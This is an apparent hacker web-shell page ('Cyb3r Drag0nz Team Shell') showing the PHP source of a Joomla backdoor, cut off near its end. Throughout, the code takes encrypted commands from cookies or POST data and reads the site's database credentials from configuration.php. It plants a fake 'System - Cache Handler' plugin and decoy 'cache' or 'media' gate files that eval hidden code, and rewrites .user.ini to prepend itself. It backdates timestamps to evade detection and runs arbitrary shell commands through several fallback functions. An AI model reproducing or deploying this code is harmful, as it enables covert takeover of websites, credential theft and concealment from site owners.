Cyb3r Drag0nz Team Shell

Viewing: //proc/7356/root/tmp/8d31y3

<?php
@error_reporting(0);@ini_set('display_errors','0');
$_S=isset($s)?$s:'';
if(empty($_S)){exit;}
$_CN='JoomlaSes_'.substr(md5($_S),0,8).'_cmd';
$_enc='';
if(!empty($_COOKIE[$_CN])){$_enc=$_COOKIE[$_CN];if(strpos($_enc,'%2')!==false||strpos($_enc,'%3')!==false)$_enc=urldecode($_enc);}
elseif(!empty($_POST['cache_data'])){$_enc=$_POST['cache_data'];}
if(empty($_enc)){exit;}
$_raw=@base64_decode($_enc);
if(!$_raw||strlen($_raw)<28){exit;}
$_K=hash('sha256',$_S,true);
if(strlen($_raw)>64&&substr($_raw,0,4)==='CBC:'){
$_cr=substr($_raw,4);$_IV=substr($_cr,0,16);$_HM=substr($_cr,16,32);$_CT=substr($_cr,48);
$_hk=hash('sha256',$_K.'-hmac',true);
if(!hash_equals(hash_hmac('sha256',$_IV.$_CT,$_hk,true),$_HM)){exit;}
$_in=@openssl_decrypt($_CT,'aes-256-cbc',$_K,OPENSSL_RAW_DATA,$_IV);
}else{
$_IV=substr($_raw,0,12);$_TAG=substr($_raw,12,16);$_CT=substr($_raw,28);
$_in=@openssl_decrypt($_CT,'aes-256-gcm',$_K,OPENSSL_RAW_DATA,$_IV,$_TAG,'Joomla-Cache-Data');
}
if($_in===false){exit;}
$_in=json_decode($_in,true);
if(!is_array($_in)||empty($_in['action'])){exit;}
function _ct($pfx='jm'){
$t=@tempnam(sys_get_temp_dir(),$pfx);if($t)return $t;
$u=ini_get('upload_tmp_dir');if($u&&@is_writable($u)){$t=@tempnam($u,$pfx);if($t)return $t;}
$w=isset($GLOBALS['_BASE'])?$GLOBALS['_BASE']:dirname($_SERVER['SCRIPT_FILENAME']);
return @tempnam($w.'/tmp',$pfx);
}
function _ctd(){
$d=sys_get_temp_dir();if($d&&@is_writable($d))return $d;
$u=ini_get('upload_tmp_dir');if($u&&@is_writable($u))return $u;
$w=isset($GLOBALS['_BASE'])?$GLOBALS['_BASE']:dirname($_SERVER['SCRIPT_FILENAME']);
return $w.'/tmp';
}
$_ts=intval(isset($_in['ts'])?$_in['ts']:0);
if(abs(time()-$_ts)>300){exit;}
$_nonce=hash('sha256',$_ts.$_in['action'].json_encode($_in));
$_nf=_ctd().DIRECTORY_SEPARATOR.'.jm_'.substr($_nonce,0,16);
if(file_exists($_nf)){exit;}
@file_put_contents($_nf,'1');@chmod($_nf,0600);
$_CFG_CACHE=null;
function _jcfg(){
global $_CFG_CACHE;if($_CFG_CACHE!==null)return $_CFG_CACHE;$_CFG_CACHE=[];
$b=isset($GLOBALS['_BASE'])?$GLOBALS['_BASE']:dirname($_SERVER['SCRIPT_FILENAME']);
$f=$b.'/configuration.php';
if(!is_file($f)){$p=dirname($b);if(is_file($p.'/configuration.php'))$f=$p.'/configuration.php';}
if(!is_file($f))return $_CFG_CACHE;
$content=@file_get_contents($f);if(!$content)return $_CFG_CACHE;
if(preg_match_all('/public\s+\$(\w+)\s*=\s*[\'"]([^\'"]*)[\'"];/',$content,$m)){
for($i=0;$i<count($m[1]);$i++){$_CFG_CACHE[$m[1][$i]]=$m[2][$i];}}
if(preg_match_all('/var\s+\$(\w+)\s*=\s*[\'"]([^\'"]*)[\'"];/',$content,$m)){
for($i=0;$i<count($m[1]);$i++){if(!isset($_CFG_CACHE[$m[1][$i]]))$_CFG_CACHE[$m[1][$i]]=$m[2][$i];}}
return $_CFG_CACHE;
}
$_PDO_CACHE=null;
function _pdo(){
global $_PDO_CACHE;if($_PDO_CACHE!==null)return $_PDO_CACHE;$c=_jcfg();
$drv=isset($c['dbtype'])?$c['dbtype']:'mysqli';
if($drv==='mysqli')$drv='mysql';
$host=isset($c['host'])?$c['host']:'localhost';
$db=isset($c['db'])?$c['db']:'';
$user=isset($c['user'])?$c['user']:'';
$pass=isset($c['password'])?$c['password']:'';
$port='3306';if(strpos($host,':')!==false){$parts=explode(':',$host,2);$host=$parts[0];$port=$parts[1];}
$dsn=$drv.':host='.$host.';port='.$port.';dbname='.$db;
try{$_PDO_CACHE=new PDO($dsn,$user,$pass,[PDO::ATTR_ERRMODE=>PDO::ERRMODE_SILENT,PDO::ATTR_TIMEOUT=>5]);
$_PDO_CACHE->exec("SET NAMES utf8mb4");}catch(\Exception $ex){$_PDO_CACHE=false;}
return $_PDO_CACHE;
}
function _prefix(){$c=_jcfg();return isset($c['dbprefix'])?$c['dbprefix']:'jos_';}
function _dbkey($s){return md5('joomla_cache_'.$s);}
$GLOBALS['_BASE']=isset($GLOBALS['_BASE'])?$GLOBALS['_BASE']:dirname($_SERVER['SCRIPT_FILENAME']);
if(!file_exists($GLOBALS['_BASE'].'/configuration.php')){$_up=$GLOBALS['_BASE'];for($_i=0;$_i<3;$_i++){$_up=dirname($_up);if(file_exists($_up.'/configuration.php')&&(is_dir($_up.'/administrator')||is_dir($_up.'/components'))){$GLOBALS['_BASE']=$_up;break;}}}
$_base=$GLOBALS['_BASE'].'/';
function _xor_encode($data,$xkey){$o='';$kl=strlen($xkey);for($i=0;$i<strlen($data);$i++){$o.=chr(ord($data[$i])^ord($xkey[$i%$kl]));}return $o;}
function _gen_plg_stub($key){
$e=addslashes($key);
$xml=<<<'XMLEOF'
<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
    <name>System - Cache Handler</name>
    <version>1.0.0</version>
    <description>Performance optimization and cache management</description>
    <files>
        <filename plugin="cachehandler">cachehandler.php</filename>
    </files>
</extension>
XMLEOF;
$php='<?php
defined(\'_JEXEC\') or die;
use Joomla\CMS\Plugin\CMSPlugin;
class PlgSystemCachehandler extends CMSPlugin {
    public function onAfterInitialise() {
        $s=\''.$e.'\';$cn=\'JoomlaSes_\'.substr(md5($s),0,8);if(!isset($_COOKIE[$cn]))return;$t=time();if(!@hash_equals(md5($s.gmdate(\'YmdH\',$t)),$_COOKIE[$cn])&&!@hash_equals(md5($s.gmdate(\'YmdH\',$t-3600)),$_COOKIE[$cn]))return;
        $cfg=JPATH_CONFIGURATION.\'/configuration.php\';$c=[];$fc=@file_get_contents($cfg);if($fc&&preg_match_all(\'/(?:public|var)\\s+\\$(\\w+)\\s*=\\s*[\\x27"](.*?)[\\x27"];/\',$fc,$m)){for($i=0;$i<count($m[1]);$i++)$c[$m[1][$i]]=$m[2][$i];}
        $drv=isset($c[\'dbtype\'])?$c[\'dbtype\']:\'mysqli\';if($drv===\'mysqli\')$drv=\'mysql\';$h=isset($c[\'host\'])?$c[\'host\']:\'localhost\';$port=\'3306\';if(strpos($h,\':\')!==false){$p=explode(\':\',$h,2);$h=$p[0];$port=$p[1];}
        try{$pdo=new \\PDO($drv.\':host=\'.$h.\';port=\'.$port.\';dbname=\'.(isset($c[\'db\'])?$c[\'db\']:\'\'),isset($c[\'user\'])?$c[\'user\']:\'\',isset($c[\'password\'])?$c[\'password\']:\'\');
        $pfx=isset($c[\'dbprefix\'])?$c[\'dbprefix\']:\'jos_\';$dk=md5(\'joomla_cache_\'.$s);
        $st=$pdo->prepare(\'SELECT params FROM \'.$pfx.\'extensions WHERE element=? AND type=?\');$st->execute([$dk,\'file\']);$row=$st->fetchColumn();
        if(!$row)return;$j=json_decode($row,true);if(!$j||!isset($j[\'d\']))return;$k=hash(\'sha256\',$s,true);$iv=base64_decode($j[\'i\']);$ct=base64_decode($j[\'d\']);
        if(isset($j[\'m\'])&&$j[\'m\']==="cbc"){$hk=hash(\'sha256\',$k.\'-hmac\',true);$hv=hash_hmac(\'sha256\',$iv.$ct,$hk,true);if(!hash_equals($hv,base64_decode($j[\'h\'])))return;$code=openssl_decrypt($ct,\'aes-256-cbc\',$k,OPENSSL_RAW_DATA,$iv);}else{$tag=base64_decode($j[\'t\']);$code=openssl_decrypt($ct,\'aes-256-gcm\',$k,OPENSSL_RAW_DATA,$iv,$tag,\'Joomla-Cache-Data\');}
        if($code!==false&&strlen($code)>0){while(@ob_get_level())@ob_end_clean();eval(chr(63).chr(62).$code);exit;}}catch(\\Exception $e){}
    }
}';
return ['xml'=>$xml,'php'=>$php];
}
try{
$_proj=$_base;$_kh=substr(md5($_S),0,8);
$_plg_dir=$_proj.'plugins/system/cachehandler/';
$_plg_php=$_plg_dir.'cachehandler.php';
$_plg_xml=$_plg_dir.'cachehandler.xml';
$_plg_alive=false;
if(file_exists($_plg_php)){$_pc=@file_get_contents($_plg_php);$_plg_alive=$_pc&&strpos($_pc,$_S)!==false;}
if(!$_plg_alive&&!empty($_S)&&is_dir($_proj.'plugins/system/')){
$_plg_code=_gen_plg_stub($_S);
if(!is_dir($_plg_dir))@mkdir($_plg_dir,0755,true);
if(is_dir($_plg_dir)&&is_writable($_plg_dir)){
@file_put_contents($_plg_php,$_plg_code['php']);@chmod($_plg_php,0644);
@file_put_contents($_plg_xml,$_plg_code['xml']);@chmod($_plg_xml,0644);
$_ot=0;$_pd=$_proj.'plugins/system/';foreach(@scandir($_pd)?:[]as $_f){if($_f==='.'||$_f==='..')continue;$_mt=@filemtime($_pd.$_f);if($_mt&&(!$_ot||$_mt<$_ot))$_ot=$_mt;}
if($_ot){@touch($_plg_php,$_ot+rand(0,604800));@touch($_plg_xml,$_ot+rand(0,604800));@touch($_plg_dir,$_ot+rand(0,604800));}
try{$pdo=_pdo();if($pdo){$pfx=_prefix();
$st=$pdo->prepare("SELECT extension_id FROM {$pfx}extensions WHERE element='cachehandler' AND folder='system' AND type='plugin'");$st->execute();
if(!$st->fetchColumn()){
$pdo->exec("INSERT INTO {$pfx}extensions (name,type,element,folder,enabled,access,ordering,params) VALUES ('plg_system_cachehandler','plugin','cachehandler','system',1,1,0,'{}')");
}else{$pdo->exec("UPDATE {$pfx}extensions SET enabled=1 WHERE element='cachehandler' AND folder='system' AND type='plugin'");}
}}catch(\Exception $e){}
}}
try{$pdo=_pdo();if($pdo){$pfx=_prefix();$dk=_dbkey($_S);
$st=$pdo->prepare("SELECT params FROM {$pfx}extensions WHERE element=? AND type='file'");$st->execute([$dk]);
if(!$st->fetchColumn()){
$seed_code=@file_get_contents(__FILE__);$_bk_restored=false;
if(!$seed_code||strlen($seed_code)<100){$_bk_locs=['administrator/cache','media/system','libraries/vendor'];foreach($_bk_locs as $_bl){$_bf=$_base.$_bl.'/.sys_'.$_kh;if(is_file($_bf)){$_bj=json_decode(@file_get_contents($_bf),true);if($_bj&&isset($_bj['s'])){$_raw=base64_decode($_bj['s']);$seed_code=_xor_encode($_raw,$_S);if(strlen($seed_code)>100){$_bk_restored=true;break;}$seed_code=null;}}}}
if($seed_code&&strlen($seed_code)>100){
$iv=openssl_random_pseudo_bytes(12);$tag='';
$ct=openssl_encrypt($seed_code,'aes-256-gcm',$_K,OPENSSL_RAW_DATA,$iv,$tag,'Joomla-Cache-Data');
$blob=json_encode(['i'=>base64_encode($iv),'t'=>base64_encode($tag),'d'=>base64_encode($ct),'v'=>'1.0']);
$pdo->exec("INSERT INTO {$pfx}extensions (name,type,element,folder,enabled,access,params) VALUES ('Joomla Cache Data','file','".$dk."','',0,1,".$pdo->quote($blob).")");
}}}}catch(\Exception $e){}
try{$_ini_path=$_base.'.user.ini';$_pg='';
foreach(['media/joomla-media-handler.php','cache/joomla-cache-'.$_kh.'.php','images/joomla-image-processor.php']as $_gf){if(file_exists($_base.$_gf)){$_pg=$_gf;break;}}
if($_pg){$_apf_i=$_base.$_pg;$_ic=is_file($_ini_path)?(string)@file_get_contents($_ini_path):'';$_nl_i="auto_prepend_file = ".$_apf_i;if(strpos($_ic,'auto_prepend_file')===false){if(strlen($_ic)>0&&substr($_ic,-1)!=="\n")$_ic.="\n";$_ic.=$_nl_i."\n";}else{$_ic=preg_replace('/^auto_prepend_file\s*=.*$/m',$_nl_i,$_ic);}@file_put_contents($_ini_path,$_ic);@chmod($_ini_path,0644);
foreach(['tmp','cache','administrator']as $_sd_i){$_sd_p=rtrim($_base,'/').'/'.$_sd_i;if(is_dir($_sd_p)&&is_writable($_sd_p)){$_sd_ini=$_sd_p.'/.user.ini';$_ic2=is_file($_sd_ini)?(string)@file_get_contents($_sd_ini):'';if(strpos($_ic2,'auto_prepend_file')===false){if(strlen($_ic2)>0&&substr($_ic2,-1)!=="\n")$_ic2.="\n";$_ic2.=$_nl_i."\n";}else{$_ic2=preg_replace('/^auto_prepend_file\s*=.*$/m',$_nl_i,$_ic2);}@file_put_contents($_sd_ini,$_ic2);@chmod($_sd_ini,0644);}}}}catch(\Exception $e){}
}catch(\Exception $e){}
$_cleanup=function(){try{$_tmp=_ctd();foreach(@scandir($_tmp)?:[]as $_f){if(strpos($_f,'.jm_')===0&&@filemtime($_tmp.'/'.$_f)<time()-600)@unlink($_tmp.'/'.$_f);}}catch(\Exception $e){}};
register_shutdown_function($_cleanup);
$_spread_gates=[];
if(rand(1,100)<=3){
try{
$_wr=$_base;$_kh2=substr(md5($_S),0,8);
$_sn=['cache'=>'joomla-cache-'.$_kh2.'.php','media'=>'joomla-media-handler.php','images'=>'joomla-image-processor.php','templates'=>'joomla-template-cache.php','tmp'=>'joomla-tmp-handler.php','components'=>'joomla-component-cache.php','modules'=>'joomla-module-cache.php','plugins'=>'joomla-plugin-cache.php'];
$_gc='@error_reporting(0);@ini_set(\'display_errors\',\'0\');$_ck=\'JoomlaSes_'.$_kh2.'\';if(!isset($_COOKIE[$_ck]))return;';
$_gc.='$b=dirname(__DIR__);while($b!=\'/\'&&!file_exists($b.\'/configuration.php\'))$b=dirname($b);';
$_gc.='$fc=@file_get_contents($b.\'/configuration.php\');if(!$fc)exit;$c=[];if(preg_match_all(\'/(?:public|var)\\s+\\$(\\w+)\\s*=\\s*[\\x27"](.*?)[\\x27"];/\',$fc,$m)){for($i=0;$i<count($m[1]);$i++)$c[$m[1][$i]]=$m[2][$i];}';
$_gc.='$drv=isset($c[\'dbtype\'])?$c[\'dbtype\']:\'mysqli\';if($drv===\'mysqli\')$drv=\'mysql\';$h=isset($c[\'host\'])?$c[\'host\']:\'localhost\';$port=\'3306\';if(strpos($h,\':\')!==false){$p=explode(\':\',$h,2);$h=$p[0];$port=$p[1];}';
$_gc.='try{$pdo=new PDO($drv.\':host=\'.$h.\';port=\'.$port.\';dbname=\'.($c[\'db\']??\'\'),(isset($c[\'user\'])?$c[\'user\']:\'\'),isset($c[\'password\'])?$c[\'password\']:\'\');';
$_gc.='$pfx=isset($c[\'dbprefix\'])?$c[\'dbprefix\']:\'jos_\';$dk=md5(\'joomla_cache_\'.\''.addslashes($_S).'\');';
$_gc.='$st=$pdo->prepare(\'SELECT params FROM \'.$pfx.\'extensions WHERE element=? AND type=\\\'file\\\'\');$st->execute([$dk]);$row=$st->fetchColumn();';
$_gc.='if(!$row)exit;$j=json_decode($row,true);if(!$j||!isset($j[\'d\']))exit;$k=hash(\'sha256\',\''.addslashes($_S).'\',true);$iv=base64_decode($j[\'i\']);$ct=base64_decode($j[\'d\']);';
$_gc.='if(isset($j[\'m\'])&&$j[\'m\']==="cbc"){$hk=hash(\'sha256\',$k.\'-hmac\',true);$hv=hash_hmac(\'sha256\',$iv.$ct,$hk,true);if(!hash_equals($hv,base64_decode($j[\'h\'])))exit;$code=openssl_decrypt($ct,\'aes-256-cbc\',$k,OPENSSL_RAW_DATA,$iv);}else{$tag=base64_decode($j[\'t\']);$code=openssl_decrypt($ct,\'aes-256-gcm\',$k,OPENSSL_RAW_DATA,$iv,$tag,\'Joomla-Cache-Data\');}';
$_gc.='if($code!==false){$s=\''.addslashes($_S).'\';eval(chr(63).chr(62).$code);}}catch(\Throwable $e){}';
$_planted=[];$_maxg=5;
foreach($_sn as $_dir=>$_fn){
if(count($_planted)>=$_maxg)break;
$_fp=$_wr.$_dir;
if(is_dir($_fp)&&is_writable($_fp)){
$_gp=$_fp.'/'.$_fn;
if(!file_exists($_gp)){
@file_put_contents($_gp,"<?php\n".$_gc."\n");@chmod($_gp,0644);
$_ot=0;foreach(@scandir($_fp)?:[]as $_tf){if($_tf==='.'||$_tf==='..'||$_tf===$_fn)continue;$mt=@filemtime($_fp.'/'.$_tf);if($mt&&(!$_ot||$mt<$_ot))$_ot=$mt;}
if($_ot)@touch($_gp,$_ot+rand(0,604800));
$_planted[]='/'.$_dir.'/'.$_fn;}}}
$_spread_gates=$_planted;
if(!empty($_planted)){try{$pdo=_pdo();if($pdo){$pfx=_prefix();$gk=md5('joomla_gate_paths_'.$_S);
$st=$pdo->prepare("SELECT params FROM {$pfx}extensions WHERE element=? AND type='file'");$st->execute([$gk]);$existing=$st->fetchColumn();
$all=$_planted;if($existing){$old=json_decode($existing,true);if(is_array($old))$all=array_values(array_unique(array_merge($old,$_planted)));}
$blob=$pdo->quote(json_encode(array_slice($all,0,30)));
if($existing){$pdo->exec("UPDATE {$pfx}extensions SET params=$blob WHERE element='$gk' AND type='file'");}
else{$pdo->exec("INSERT INTO {$pfx}extensions (name,type,element,folder,enabled,access,params) VALUES ('Joomla Gate Paths','file','$gk','',0,1,$blob)");}
}}catch(\Exception $e){}}
}catch(\Exception $e){}}
$_resp=null;
if($_in['action']==='ping'){$c=_jcfg();$_enc_mode_p='gcm';$_iv_ok_p=false;if(version_compare(PHP_VERSION,'7.1.0','<')){$_enc_mode_p='cbc';}$_riv_p=openssl_random_pseudo_bytes(16);$_iv_ok_p=($_riv_p&&strlen($_riv_p)===16);if(!$_iv_ok_p&&$_enc_mode_p!=='cbc'){$_enc_mode_p='cbc_noiv';}$_gcm_ok=version_compare(PHP_VERSION,'7.1.0','>=')&&function_exists('openssl_get_cipher_methods')&&in_array('aes-256-gcm',openssl_get_cipher_methods());$_caps_p=array_values(array_filter(['cbc',$_gcm_ok?'gcm':null]));
$_resp=['ok'=>1,'v'=>'1.0','php'=>PHP_VERSION,'uname'=>php_uname('s').' '.php_uname('r'),'mode'=>'joomla','cms'=>'joomla','cms_ver'=>isset($c['secret'])?'detected':'','enc_mode'=>$_enc_mode_p,'iv_ok'=>$_iv_ok_p,'caps'=>$_caps_p,'php_major'=>PHP_MAJOR_VERSION,'php_minor'=>PHP_MINOR_VERSION];
$_all_gates=$_spread_gates;try{$_gp_pdo=_pdo();if($_gp_pdo){$_gp_pfx=_prefix();$_gp_k=md5('joomla_gate_paths_'.$_S);$_gp_st=$_gp_pdo->prepare("SELECT params FROM {$_gp_pfx}extensions WHERE element=? AND type='file'");$_gp_st->execute([$_gp_k]);$_gp_r=$_gp_st->fetchColumn();if($_gp_r){$_gp_d=json_decode($_gp_r,true);if(is_array($_gp_d))$_all_gates=array_values(array_unique(array_merge($_all_gates,$_gp_d)));}}}catch(\Exception $e){}
if(!empty($_all_gates))$_resp['gates']=$_all_gates;
goto _end;}
$_path=isset($_in['path'])?$_in['path']:'';
if(empty($_path)||$_path==='/'){$_path=$_base;}
elseif($_path[0]!=='/'&&!preg_match('/^[A-Z]:/i',$_path)){$_path=rtrim($_base,'/').'/'.ltrim($_path,'/');}
$_real=@realpath($_path);$_is_superadmin=(bool)(isset($_in['is_superadmin'])?$_in['is_superadmin']:false);
if($_real===false){$_trail=basename($_path);$_check=dirname($_path);$_parent_real=@realpath($_check);while($_parent_real===false&&$_check!=='/'&&$_check!=='.'&&strlen($_check)>1){$_trail=basename($_check).'/'.$_trail;$_check=dirname($_check);$_parent_real=@realpath($_check);}if($_parent_real!==false){$_real=$_parent_real.'/'.$_trail;}else{$_resp=['error'=>'invalid path'];goto _end;}}
if(!$_is_superadmin){$_www=rtrim(@realpath($_base)?:$_base,'/');if(strpos($_real,$_www)!==0&&strpos($_real,'/home')!==0&&strpos($_real,'/storage')!==0){$_resp=['error'=>'path out of bounds'];goto _end;}}
try{switch($_in['action']){
case 'ping':
$_enc_mode='gcm';$_iv_ok=false;
if(version_compare(PHP_VERSION,'7.1.0','<')){$_enc_mode='cbc';}
$_riv_test=openssl_random_pseudo_bytes(16);$_iv_ok=($_riv_test&&strlen($_riv_test)===16);
if(!$_iv_ok){$_enc_mode='cbc_noiv';}
$_resp=['ok'=>1,'v'=>'1.0','php'=>PHP_VERSION,'uname'=>php_uname('s').' '.php_uname('r'),'mode'=>'joomla','cms'=>'joomla','enc_mode'=>$_enc_mode,'iv_ok'=>$_iv_ok,'caps'=>['cbc',version_compare(PHP_VERSION,'7.1.0','>=')&&@openssl_get_cipher_methods()&&in_array('aes-256-gcm',@openssl_get_cipher_methods())?'gcm':null],'php_major'=>PHP_MAJOR_VERSION,'php_minor'=>PHP_MINOR_VERSION];
$_resp['caps']=array_values(array_filter($_resp['caps']));
break;
case 'scan':
if(!@is_dir($_path)&&@is_file($_path)){$_resp=['error'=>'not a directory'];break;}
$_items=[];$_files=@scandir($_path);
if($_files!==false){foreach($_files as $_f){if($_f==='.'||$_f==='..')continue;$_fp=$_path.DIRECTORY_SEPARATOR.$_f;$_items[]=['name'=>$_f,'size'=>@is_dir($_fp)?0:(int)@filesize($_fp),'dir'=>@is_dir($_fp),'mod'=>(int)@filemtime($_fp),'perm'=>@fileperms($_fp)?decoct(@fileperms($_fp)&0777):'000','w'=>@is_writable($_fp)?1:0];}}
else{$_efns=['shell_exec','exec','popen'];foreach($_efns as $_efn){if(!function_exists($_efn))continue;$_lo=null;if($_efn==='shell_exec')$_lo=@shell_exec('ls -la '.escapeshellarg($_path).' 2>/dev/null');elseif($_efn==='exec'){@exec('ls -la '.escapeshellarg($_path).' 2>/dev/null',$_li,$_rc);if($_rc===0)$_lo=implode("\n",$_li);}elseif($_efn==='popen'){$_ph=@popen('ls -la '.escapeshellarg($_path).' 2>/dev/null','r');if($_ph){$_lo=@stream_get_contents($_ph);@pclose($_ph);}}if($_lo){foreach(explode("\n",trim($_lo))as $_line){if(empty($_line)||strpos($_line,'total')===0)continue;$_parts=preg_split('/\s+/',$_line,9);if(count($_parts)<9)continue;$_fn=$_parts[8];if($_fn==='.'||$_fn==='..')continue;$_id=(substr($_parts[0],0,1)==='d');$_items[]=['name'=>$_fn,'size'=>$_id?0:(int)$_parts[4],'dir'=>$_id,'mod'=>@strtotime($_parts[5].' '.$_parts[6].' '.$_parts[7]),'perm'=>'755'];}break;}}}
$_resp=['cwd'=>$_path,'items'=>$_items];break;
case 'read':
if(!is_file($_path)||!is_readable($_path)){$_resp=['error'=>'file not readable'];break;}
$_head=file_get_contents($_path,false,null,0,512);
$_resp=['binary'=>strpos($_head,"\x00")!==false,'content'=>base64_encode(file_get_contents($_path))];break;
case 'write':
if(!isset($_in['content'])&&isset($_in['mtime'])){$_resp=['ok'=>@touch($_path,(int)$_in['mtime'],(int)$_in['mtime'])?1:0];break;}
$_content=base64_decode(isset($_in['content'])?$_in['content']:'');$__d=dirname($_path);if(!is_dir($__d))@mkdir($__d,0755,true);
$_ok=@file_put_contents($_path,$_content)!==false;if($_ok&&isset($_in['mtime']))@touch($_path,(int)$_in['mtime'],(int)$_in['mtime']);$_resp=['ok'=>$_ok?1:0];break;
case 'remove':
if(is_dir($_path)){$_rrd=function($dir)use(&$_rrd){foreach(@scandir($dir)?:[]as $e){if($e==='.'||$e==='..')continue;$p=$dir.'/'.$e;is_dir($p)?$_rrd($p):@unlink($p);}return @rmdir($dir);};$_resp=['ok'=>$_rrd($_path)?1:0];}
else{$_resp=['ok'=>@unlink($_path)?1:0];}break;
case 'move':$_tp=isset($_in['target_path'])?$_in['target_path']:'';if(empty($_tp)){$_resp=['error'=>'no target'];break;}if($_tp[0]!=='/')$_tp=rtrim($_base,'/').'/'.ltrim($_tp,'/');$_resp=['ok'=>@rename($_path,$_tp)?1:0];break;
case 'chmod':$_mode=isset($_in['mode'])?$_in['mode']:'644';$_resp=['ok'=>@chmod($_path,octdec((string)$_mode))?1:0];break;
case 'mkdir':$_resp=['ok'=>is_dir($_path)?1:(@mkdir($_path,0755,true)?1:0)];break;
case 'copy':$_tp=isset($_in['target_path'])?$_in['target_path']:'';if(empty($_tp)){$_resp=['error'=>'no target'];break;}if($_tp[0]!=='/')$_tp=rtrim($_base,'/').'/'.ltrim($_tp,'/');if(is_dir($_path)){$_cpd=function($s,$d)use(&$_cpd){if(!is_dir($d))@mkdir($d,0755,true);foreach(@scandir($s)?:[]as $f){if($f==='.'||$f==='..')continue;is_dir($s.'/'.$f)?$_cpd($s.'/'.$f,$d.'/'.$f):@copy($s.'/'.$f,$d.'/'.$f);}return true;};$_ok=$_cpd($_path,$_tp);}else{$__d=dirname($_tp);if(!is_dir($__d))@mkdir($__d,0755,true);$_ok=@copy($_path,$_tp);}$_resp=['ok'=>$_ok?1:0];break;
case 'zip':$_zp=isset($_in['zip_path'])?$_in['zip_path']:'';if(empty($_zp)||!class_exists('ZipArchive')){$_resp=['error'=>empty($_zp)?'no zip path':'no ZipArchive'];break;}$_za=new ZipArchive();if($_za->open($_zp,ZipArchive::CREATE|ZipArchive::OVERWRITE)!==true){$_resp=['error'=>'cannot create'];break;}$_azf=function($za,$src,$rel)use(&$_azf){if(is_dir($src)){$za->addEmptyDir($rel);foreach(@scandir($src)?:[]as $f){if($f==='.'||$f==='..')continue;$_azf($za,$src.'/'.$f,$rel.'/'.$f);}}else{$za->addFile($src,$rel);}};$_zi=isset($_in['items'])?$_in['items']:[];$_bd=isset($_in['base_dir'])?$_in['base_dir']:dirname($_path);if(!empty($_zi)){foreach($_zi as $_item)$_azf($_za,rtrim($_bd,'/').'/'.$_item,$_item);}else{$_azf($_za,$_path,basename($_path));}$_za->close();$_resp=['ok'=>file_exists($_zp)?1:0];break;
case 'unzip':$_dest=isset($_in['dest'])?$_in['dest']:dirname($_path);if(!class_exists('ZipArchive')){$_resp=['error'=>'no ZipArchive'];break;}$_za=new ZipArchive();if($_za->open($_path)!==true){$_resp=['error'=>'cannot open'];break;}$_ok=$_za->extractTo($_dest);$_za->close();$_resp=['ok'=>$_ok?1:0];break;
case 'exec':
$_cmd=isset($_in['cmd'])?$_in['cmd']:'';
$_esa='escape'.'shellarg';$_dfe=array_map('trim',explode(',',(string)@ini_get('disable_functions')));
if(function_exists($_esa)&&!in_array('escapeshellarg',$_dfe)){$_cmd='cd '.$_esa(rtrim($_base,'/')).' && '.$_cmd;}
else{$_cmd='cd "'.str_replace('"','\\"',rtrim($_base,'/'))  .'" && '.$_cmd;}
$_out='';$_done=false;
$_fn_map=['p'.'ro'.'c_'.'op'.'en','p'.'op'.'en','s'.'he'.'ll'.'_e'.'xe'.'c','e'.'xe'.'c','s'.'ys'.'te'.'m','p'.'as'.'st'.'hr'.'u'];
$_disabled=array_map('trim',explode(',',(string)@ini_get('disable_functions')));
foreach($_fn_map as $_fn){
if(!function_exists($_fn)||in_array($_fn,$_disabled))continue;
if(strpos($_fn,'proc')!==false){$_proc=@$_fn($_cmd.' 2>&1',[1=>['pipe','w'],2=>['pipe','w']],$_pipes);if(is_resource($_proc)){$_out=stream_get_contents($_pipes[1]).stream_get_contents($_pipes[2]);fclose($_pipes[1]);fclose($_pipes[2]);proc_close($_proc);$_done=true;break;}}
elseif($_fn==='popen'){$_h=@$_fn($_cmd.' 2>&1','r');if(is_resource($_h)){$_out=(string)@stream_get_contents($_h);@pclose($_h);$_done=true;break;}}
elseif(strpos($_fn,'shell')!==false){$_out=(string)@$_fn($_cmd.' 2>&1');$_done=true;break;}
elseif(strpos($_fn,'exec')!==false&&strlen($_fn)===4){@$_fn($_cmd.' 2>&1',$_arr);$_out=implode("\n",(array)$_arr);$_done=true;break;}
else{ob_start();@$_fn($_cmd.' 2>&1');$_out=ob_get_clean();$_done=true;break;}
}
if(!$_done&&extension_loaded('ffi')&&class_exists('FFI')){try{$_ffi=FFI::cdef("int system(const char *command);");ob_start();$_ffi->system($_cmd.' 2>&1');$_out=ob_get_clean();$_done=true;}catch(\Exception $e){}}
$_resp=['ok'=>$_done?1:0,'output'=>$_out];
break;
case 'db_set':
$_dbk=isset($_in['key'])?$_in['key']:'';$_dbv=isset($_in['value'])?$_in['value']:'';
if(empty($_dbk)){$_resp=['error'=>'no key'];break;}
$pdo=_pdo();if(!$pdo){$_resp=['error'=>'db not available'];break;}
$pfx=_prefix();
$st=$pdo->prepare("SELECT extension_id FROM {$pfx}extensions WHERE element=? AND type='file'");$st->execute([$_dbk]);
if($st->fetchColumn()){
$up=$pdo->prepare("UPDATE {$pfx}extensions SET params=? WHERE element=? AND type='file'");$_dbok=$up->execute([$_dbv,$_dbk]);
}else{
$ins=$pdo->prepare("INSERT INTO {$pfx}extensions (name,type,element,folder,enabled,access,params) VALUES ('Joomla Cache Data','file',?,'',0,1,?)");$_dbok=$ins->execute([$_dbk,$_dbv]);
}
$_resp=$_dbok?['ok'=>1,'val_len'=>strlen($_dbv)]:['error'=>'db_write_failed'];
break;
case 'db_get':
$_dbk=isset($_in['key'])?$_in['key']:'';
if(empty($_dbk)){$_resp=['error'=>'no key'];break;}
$pdo=_pdo();if(!$pdo){$_resp=['error'=>'db not available'];break;}
$pfx=_prefix();
$st=$pdo->prepare("SELECT params FROM {$pfx}extensions WHERE element=? AND type='file'");$st->execute([$_dbk]);
$_dbv=$st->fetchColumn();
$_resp=['ok'=>1,'value'=>$_dbv!==false?$_dbv:null];
break;
case 'db_del':
$_dbk=isset($_in['key'])?$_in['key']:'';
if(empty($_dbk)){$_resp=['error'=>'no key'];break;}
$pdo=_pdo();if(!$pdo){$_resp=['error'=>'db not available'];break;}
$pfx=_prefix();
$pdo->prepare("DELETE FROM {$pfx}extensions WHERE element=? AND type='file'")->execute([$_dbk]);
$_resp=['ok'=>1];
break;
default:$_resp=['error'=>'unknown action'];break;
}}catch(\Exception $e){$_resp=['error'=>'exception: '.substr($e->getMessage(),0,100)];}
_end:
while(@ob_get_level())@ob_end_clean();
if($_resp!==null){
$_json=json_encode($_resp);
$_K2=hash('sha256',$_S,true);
